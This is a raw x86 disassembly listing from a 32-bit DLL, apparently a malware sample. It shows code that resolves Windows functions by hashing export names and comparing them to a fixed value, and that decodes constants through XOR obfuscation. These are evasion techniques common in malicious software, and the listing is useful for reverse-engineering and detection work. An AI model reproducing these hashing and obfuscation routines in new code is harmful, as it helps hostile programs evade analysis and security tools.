mov eax, dword [ebp + eax*4 - 0x20]
mov eax, dword [eax + edx]
add eax, esi
cmp dword [ebp - 0x30], 0
mov dword [ebp - 0x40], eax
je 0x100047fd
test edi, edi
je 0x100047fd
test eax, eax
je 0x100047fd
mov edi, ebx
mov ecx, 0x56b3033c
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x56b30324
mov dword [ebp - 0x10], 0x5b8411a3
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x1000478f
mov ecx, dword [ebp - 0x20]
jmp 0x10004780
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edi, dword [edx + eax]
jae 0x100047fd
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + edi*4]
add eax, esi
mov ecx, eax
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100047ab
sub ecx, edx
push 0x1d
pop edx
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x100047e3
mov esi, dword [ebp - 0x48]
mov ebx, eax
movsx eax, byte [ecx + esi]
xor eax, edx
imul edx, eax, 5
inc ecx
cmp ecx, ebx
jb 0x100047c8
mov esi, dword [ebp - 0x38]
xor ebx, ebx
cmp edx, 0x2b132ea
je 0x100047ec
mov edx, dword [ebp - 0x44]
inc edi
jmp 0x1000475e
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x100047ff
mov eax, ebx
push dword [ebp - 0x34]
call eax
movaps xmm0, xmmword [0x10039370]
mov ecx, 0x4e732b34
mov edi, 0x61b764d0
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 5
mov eax, ebx
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], edi
xor dword [ebp + eax*4 - 0x20], ecx
inc eax
cmp eax, dword [ebp - 0x28]
jae 0x1000483a
mov ecx, dword [ebp - 0x2c]
jmp 0x1000482b
mov eax, dword [ebp - 0x24]
mov edx, 0x5ce65669
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov ecx, dword [esi + eax]
mov eax, ebx
mov dword [ebp - 0x14], 0x5ce65611
mov dword [ebp - 0x10], edi
xor dword [ebp + eax*4 - 0x14], edx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10004871
mov edx, dword [ebp - 0x20]
jmp 0x10004862
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
add eax, ecx
mov dword [ebp - 0x20], 3
mov ecx, 0x6b59819e
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], 0x6b5981be
mov edi, dword [eax + esi]
mov eax, ebx
add edi, esi
mov dword [ebp - 0x14], 0x702a9005
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x10], 0x74fb9e6c
xor dword [ebp + eax*4 - 0x18], ecx
inc eax
cmp eax, dword [ebp - 0x20]
jae 0x100048ba
mov ecx, dword [ebp - 0x24]
jmp 0x100048ab
mov eax, dword [ebp - 0x1c]
mov ecx, 0x79ccacd3
movaps xmm0, xmmword [0x10039350]
mov eax, dword [ebp + eax*4 - 0x18]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x20], ebx
mov edx, dword [eax + edi]
mov eax, ebx
add edx, esi
mov dword [ebp - 0x48], edx
movups xmmword [ebp - 0x1c], xmm0
xor dword [ebp + eax*4 - 0x1c], ecx
inc eax
cmp eax, dword [ebp - 0x24]
jae 0x100048f7
mov ecx, dword [ebp - 0x28]
jmp 0x100048e8
mov eax, dword [ebp - 0x20]
movaps xmm0, xmmword [0x10039360]
mov eax, dword [ebp + eax*4 - 0x1c]
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov ecx, dword [eax + edi]
mov eax, ebx
add ecx, esi
mov dword [ebp - 0x10], 0x5b8411a3
mov esi, 0x483fd807
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x2c], esi
xor dword [ebp + eax*4 - 0x20], esi
inc eax
cmp eax, dword [ebp - 0x28]
jae 0x1000493b
mov esi, dword [ebp - 0x2c]
jmp 0x1000492c
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x20]
mov esi, dword [eax + edi]
add esi, dword [ebp - 0x38]
mov dword [ebp - 0x44], esi
test edx, edx
je 0x10004a0d
test ecx, ecx
je 0x10004a0d
test esi, esi
je 0x10004a0d
mov edx, ebx
mov ecx, 0x56b3033c
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x56b30324
mov dword [ebp - 0x10], 0x5b8411a3
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10004996
mov ecx, dword [ebp - 0x20]
jmp 0x10004987
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edx, dword [edi + eax]
jae 0x10004a0d
mov eax, dword [ebp - 0x48]
mov edi, dword [eax + edx*4]
add edi, dword [ebp - 0x38]
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x4c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100049b3
sub ecx, dword [ebp - 0x4c]
push 0x1d
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
pop eax
mov dword [ebp - 0x34], eax
jbe 0x100049f5
mov ebx, dword [ebp - 0x30]
mov esi, eax
movsx eax, byte [ecx + edi]
xor eax, esi
imul esi, eax, 5
inc ecx
cmp ecx, ebx
jb 0x100049d6
mov dword [ebp - 0x34], esi
xor ebx, ebx
cmp dword [ebp - 0x34], 0x2b132ea
mov esi, dword [ebp - 0x44]
je 0x100049fe
mov edi, dword [ebp - 0x40]
inc edx
jmp 0x10004965
movzx eax, word [esi + edx*2]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp - 0x38]
jmp 0x10004a0f
mov eax, ebx
push dword [ebp - 0x50]
call eax
mov esi, dword [ebp - 0x68]
lea eax, [ebp]
push eax
mov ecx, esi
call fcn.10009faa
jmp 0x10004e4e
movaps xmm0, xmmword [0x10039370]
mov ecx, 0x4e732b34
mov edi, 0x61b764d0
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 5
mov eax, ebx
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], edi
xor dword [ebp + eax*4 - 0x20], ecx
inc eax
cmp eax, dword [ebp - 0x28]
jae 0x10004a5d
mov ecx, dword [ebp - 0x2c]
jmp 0x10004a4e
mov eax, dword [ebp - 0x24]
mov ecx, 0x5ce65669
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov edx, dword [esi + eax]
mov eax, ebx
mov dword [ebp - 0x14], 0x5ce65611
mov dword [ebp - 0x10], edi
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10004a94
mov ecx, dword [ebp - 0x20]
jmp 0x10004a85
mov eax, dword [ebp - 0x18]
mov ecx, 0x6b59819e
mov eax, dword [ebp + eax*4 - 0x14]
add eax, edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x6b5981be
mov edx, dword [eax + esi]
mov eax, ebx
add edx, esi
mov dword [ebp - 0x14], 0x702a9005
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x10], 0x74fb9e6c
xor dword [ebp + eax*4 - 0x18], ecx
inc eax
cmp eax, dword [ebp - 0x20]
jae 0x10004add
mov ecx, dword [ebp - 0x24]
jmp 0x10004ace
mov eax, dword [ebp - 0x1c]
mov ecx, 0x79ccacd3
movaps xmm0, xmmword [0x10039350]
mov eax, dword [ebp + eax*4 - 0x18]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x20], ebx
mov eax, dword [eax + edx]
add eax, esi
mov dword [ebp - 0x30], eax
mov eax, ebx
movups xmmword [ebp - 0x1c], xmm0
xor dword [ebp + eax*4 - 0x1c], ecx
inc eax
cmp eax, dword [ebp - 0x24]
jae 0x10004b1a
mov ecx, dword [ebp - 0x28]
jmp 0x10004b0b
mov eax, dword [ebp - 0x20]
mov ecx, 0x483fd807
movaps xmm0, xmmword [0x10039360]
mov eax, dword [ebp + eax*4 - 0x1c]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], ebx
mov edi, dword [eax + edx]
mov eax, ebx
add edi, esi
mov dword [ebp - 0x10], 0x5b8411a3
mov dword [ebp - 0x3c], edi
movups xmmword [ebp - 0x20], xmm0
xor dword [ebp + eax*4 - 0x20], ecx
inc eax
cmp eax, dword [ebp - 0x28]
jae 0x10004b5e
mov ecx, dword [ebp - 0x2c]
jmp 0x10004b4f
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x20]
mov eax, dword [eax + edx]
add eax, esi
cmp dword [ebp - 0x30], 0
mov dword [ebp - 0x40], eax
je 0x10004c28
test edi, edi
je 0x10004c28
test eax, eax
je 0x10004c28
mov edi, ebx
mov ecx, 0x56b3033c
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x56b30324
mov dword [ebp - 0x10], 0x5b8411a3
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10004bba
mov ecx, dword [ebp - 0x20]
jmp 0x10004bab
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edi, dword [edx + eax]
jae 0x10004c28
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + edi*4]
add eax, esi
mov ecx, eax
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004bd6
sub ecx, edx
push 0x1d
pop edx
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x10004c0e
mov esi, dword [ebp - 0x48]
mov ebx, eax
movsx eax, byte [ecx + esi]
xor eax, edx
imul edx, eax, 5
inc ecx
cmp ecx, ebx
jb 0x10004bf3
mov esi, dword [ebp - 0x38]
xor ebx, ebx
cmp edx, 0x2b132ea
je 0x10004c17
mov edx, dword [ebp - 0x44]
inc edi
jmp 0x10004b89
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x10004c2a
mov eax, ebx
push dword [ebp - 0x34]
call eax
movaps xmm0, xmmword [0x10039370]
mov ecx, 0x4e732b34
mov edi, 0x61b764d0
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 5
mov eax, ebx
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], edi
xor dword [ebp + eax*4 - 0x20], ecx
inc eax
cmp eax, dword [ebp - 0x28]
jae 0x10004c65
mov ecx, dword [ebp - 0x2c]
jmp 0x10004c56
mov eax, dword [ebp - 0x24]
mov edx, 0x5ce65669
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], ebx
mov ecx, dword [esi + eax]
mov eax, ebx
mov dword [ebp - 0x14], 0x5ce65611
mov dword [ebp - 0x10], edi
xor dword [ebp + eax*4 - 0x14], edx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10004c9c
mov edx, dword [ebp - 0x20]
jmp 0x10004c8d
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
add eax, ecx
mov dword [ebp - 0x20], 3
mov ecx, 0x6b59819e
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], 0x6b5981be
mov edi, dword [eax + esi]
mov eax, ebx
add edi, esi
mov dword [ebp - 0x14], 0x702a9005
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x10], 0x74fb9e6c
xor dword [ebp + eax*4 - 0x18], ecx
inc eax
cmp eax, dword [ebp - 0x20]
jae 0x10004ce5
mov ecx, dword [ebp - 0x24]
jmp 0x10004cd6
mov eax, dword [ebp - 0x1c]
mov ecx, 0x79ccacd3
movaps xmm0, xmmword [0x10039350]
mov eax, dword [ebp + eax*4 - 0x18]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x20], ebx
mov edx, dword [eax + edi]
mov eax, ebx
add edx, esi
mov dword [ebp - 0x48], edx
movups xmmword [ebp - 0x1c], xmm0
xor dword [ebp + eax*4 - 0x1c], ecx
inc eax
cmp eax, dword [ebp - 0x24]
jae 0x10004d22
mov ecx, dword [ebp - 0x28]
jmp 0x10004d13
mov eax, dword [ebp - 0x20]
movaps xmm0, xmmword [0x10039360]
mov eax, dword [ebp + eax*4 - 0x1c]
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], ebx
movups xmmword [ebp - 0x20], xmm0
mov ecx, dword [eax + edi]
mov eax, ebx
add ecx, esi
mov dword [ebp - 0x10], 0x5b8411a3
mov esi, 0x483fd807
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x2c], esi
xor dword [ebp + eax*4 - 0x20], esi
inc eax
cmp eax, dword [ebp - 0x28]
jae 0x10004d66
mov esi, dword [ebp - 0x2c]
jmp 0x10004d57
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x20]
mov esi, dword [eax + edi]
add esi, dword [ebp - 0x38]
mov dword [ebp - 0x44], esi
test edx, edx
je 0x10004e38
test ecx, ecx
je 0x10004e38
test esi, esi
je 0x10004e38
mov edx, ebx
mov ecx, 0x56b3033c
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x20], ecx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x56b30324
mov dword [ebp - 0x10], 0x5b8411a3
xor dword [ebp + eax*4 - 0x14], ecx
inc eax
cmp eax, dword [ebp - 0x1c]
jae 0x10004dc1
mov ecx, dword [ebp - 0x20]
jmp 0x10004db2
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x14]
cmp edx, dword [edi + eax]
jae 0x10004e38
mov eax, dword [ebp - 0x48]
mov edi, dword [eax + edx*4]
add edi, dword [ebp - 0x38]
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x4c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004dde
sub ecx, dword [ebp - 0x4c]
push 0x1d
lea eax, [ecx + 1]
mov ecx, ebx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
pop eax
mov dword [ebp - 0x34], eax
jbe 0x10004e20
mov ebx, dword [ebp - 0x30]
mov esi, eax
movsx eax, byte [edi + ecx]
xor eax, esi
imul esi, eax, 5
inc ecx
cmp ecx, ebx
jb 0x10004e01
mov dword [ebp - 0x34], esi
xor ebx, ebx
cmp dword [ebp - 0x34], 0x2b132ea
mov esi, dword [ebp - 0x44]
je 0x10004e29
mov edi, dword [ebp - 0x40]
inc edx
jmp 0x10004d90
movzx eax, word [esi + edx*2]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp - 0x38]
jmp 0x10004e3a
mov eax, ebx
push dword [ebp - 0x50]
call eax
mov esi, dword [ebp - 0x68]
mov ecx, esi
push 0x10038ea1
call fcn.10009fe0
mov eax, dword [ebp + 0x14]
cmp eax, 0x10
jb 0x10004e62
inc eax
push eax
push dword [ebp]
call fcn.1000bddb
pop ecx
pop ecx
lea ecx, [ebp + 0x7f8]
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x14], 0xf
mov byte [ebp], bl
call fcn.1000aac0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x7ec]
xor ecx, ebp
call fcn.10011d08
add ebp, 0x7f0
leave
ret